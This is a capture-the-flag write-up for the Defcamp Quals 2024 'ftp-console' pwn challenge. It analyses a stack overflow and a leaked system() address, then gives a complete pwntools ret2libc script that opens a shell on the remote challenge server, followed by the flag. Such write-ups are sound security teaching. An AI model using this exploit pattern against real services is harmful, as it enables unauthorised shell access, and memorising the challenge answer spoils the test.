English [Defcamp Quals 2024] [PWN – ftp-console] Write Up

Description

We got a very strange ftp console? Can you retrive the flag?

Flag format: ctf{sha256sum}

Files : ftp_server

Preambule

First, we are analyzing the given file.

ftp_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7ca14ac96e9c6cf8b8f860d733a6603bd192530d, for GNU/Linux 3.2.0, not stripped

After decompiling it, one function seems interesting:

int login(void)
{
  char s1[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char s[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  int v3; // [esp+4Ch] [ebp-Ch]

  v3 = 0;
  puts("220 FTP Service Ready");
  printf("USER ");
  fgets(s, 32, stdin);
  s[strcspn(s, "\n")] = 0;
  puts("331 Username okay, need password.");
  printf("[DEBUG] Password buffer is located at: %lp\n", &system);
  printf("PASS ");
  fgets(s1, 100, stdin);
  if ( !strcmp(s, "admin") && !strcmp(s1, "password123\n") )
    v3 = 1;
  if ( v3 )
    return puts("230 User logged in, proceed.");
  else
    return puts("530 Login incorrect.");
}

Analysing

We can connect, use “admin” as login and “password123” as password, and that’s it… no flag printed.
The first interesting thing is the server is getting 100 bytes length password and stores it in a 32 bytes variable. It’s not a good idea.
The second is the “debug” line that show us the system address…

Resolution

The idea is to pop a shell in the remote server.
With the leaked system address, we can use the libc-database to find the offsets of system and /bin/sh string

from pwn import *
import re

# Launch process
#p = process('./ftp_server', stdin=PTY)
p=remote('34.159.103.1','31550')

# Waits for user
print(p.recvuntil('USER '))

# Send admin user
p.sendline(b'admin')

# Waits for pass
output = p.recvuntil(b'PASS ')
print(output)

# Extracts system address
leaked_system_addr = re.search(r'0x[0-9a-fA-F]+', output.decode())
if leaked_system_addr:
    system_addr = int(leaked_system_addr.group(), 16)
    print(f"Leaked system address: {hex(system_addr)}")
else:
    print("Failed to leak system address.")
    exit()

# List of offsets, can be used for bruteforce
system_offset_list = [
    0x048170
]

binsh_offset_list = [
    0x1bd0d5
]

for system_offset in system_offset_list:
    for binsh_offset in binsh_offset_list:
        # Find libc address of "/bin/sh"
        libc_base = system_addr - system_offset
        binsh_addr = libc_base + binsh_offset

        print(f"Testing system_offset: {hex(system_offset)} and binsh_offset: {hex(binsh_offset)}")
        print(f"Calculated libc base: {hex(libc_base)}")
        print(f"Calculated '/bin/sh' address: {hex(binsh_addr)}")

        # Payload
        payload = b'A' * 80  # Overflow to EIP
        payload += p32(system_addr)  # system() address
        payload += b'BBBB'  # return address, can be anything
        payload += p32(binsh_addr)  # /bin/sh string address

        # Send payload
        p.sendline(payload)

        # Try to obtain shell
        try:
            p.interactive()
            print(f"Success with system_offset: {hex(system_offset)} and binsh_offset: {hex(binsh_offset)}")
            exit()  # Sortir si on obtient un shell
        except EOFError:
            print(f"Failed with system_offset: {hex(system_offset)} and binsh_offset: {hex(binsh_offset)}")
            continue

The flag was: CTF{2901497f5e1c3a35d2a9fa028fe1344dd14a3760d555ad477bdd5ee057323bce}

Leave a Reply

Your email address will not be published. Required fields are marked *